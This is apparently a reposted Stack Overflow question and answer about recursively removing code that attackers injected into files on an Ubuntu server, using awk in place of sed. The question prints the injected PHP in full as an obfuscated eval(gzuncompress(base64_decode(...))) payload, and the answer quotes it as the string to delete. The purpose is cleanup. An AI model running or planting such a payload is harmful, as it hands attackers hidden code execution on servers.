gpt4 book ai didi

ubuntu - 在 Ubuntu 18.04 上递归查找和重新定位

转载 作者:行者123 更新时间:2023-12-04 19:11:00 27 4
gpt4 key购买 nike

一些黑客进入了我的服务器并添加了不需要的代码。我需要删除它们。

eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));

我需要用空白替换它们。

我用 grep 和 sed 看到了一些答案,但我未能设法删除包含许多字符的长文本。

请帮忙。

我看到了这个答案 Using grep and sed to find and replace a string

但是长文本代码有问题。

查找/path -type f -exec sed -i 's/oldstr/newstr/g' {}\;

最佳答案

“很多”字符不是您的问题,Is it possible to escape regex metacharacters reliably with sed 中讨论的问题是您的问题,归结为 sed 不能对文字字符串进行操作。因此,只需使用执行以下操作的工具:

$ cat file
fooeval(gzuncompress(base64_decode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1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));" }
start = index($0,bad) { $0 = substr($0,1,start-1) substr($0,start+length(bad)) }
{ print }

$ awk -f tst.awk file
foobar

就像 GNU sed 有 -i对于“就地”编辑,GNU awk 有 -i inplace所以你可以这样做:
find /path -type f -exec awk -i inplace -f tst.awk {} +

关于ubuntu - 在 Ubuntu 18.04 上递归查找和重新定位,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/56003757/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com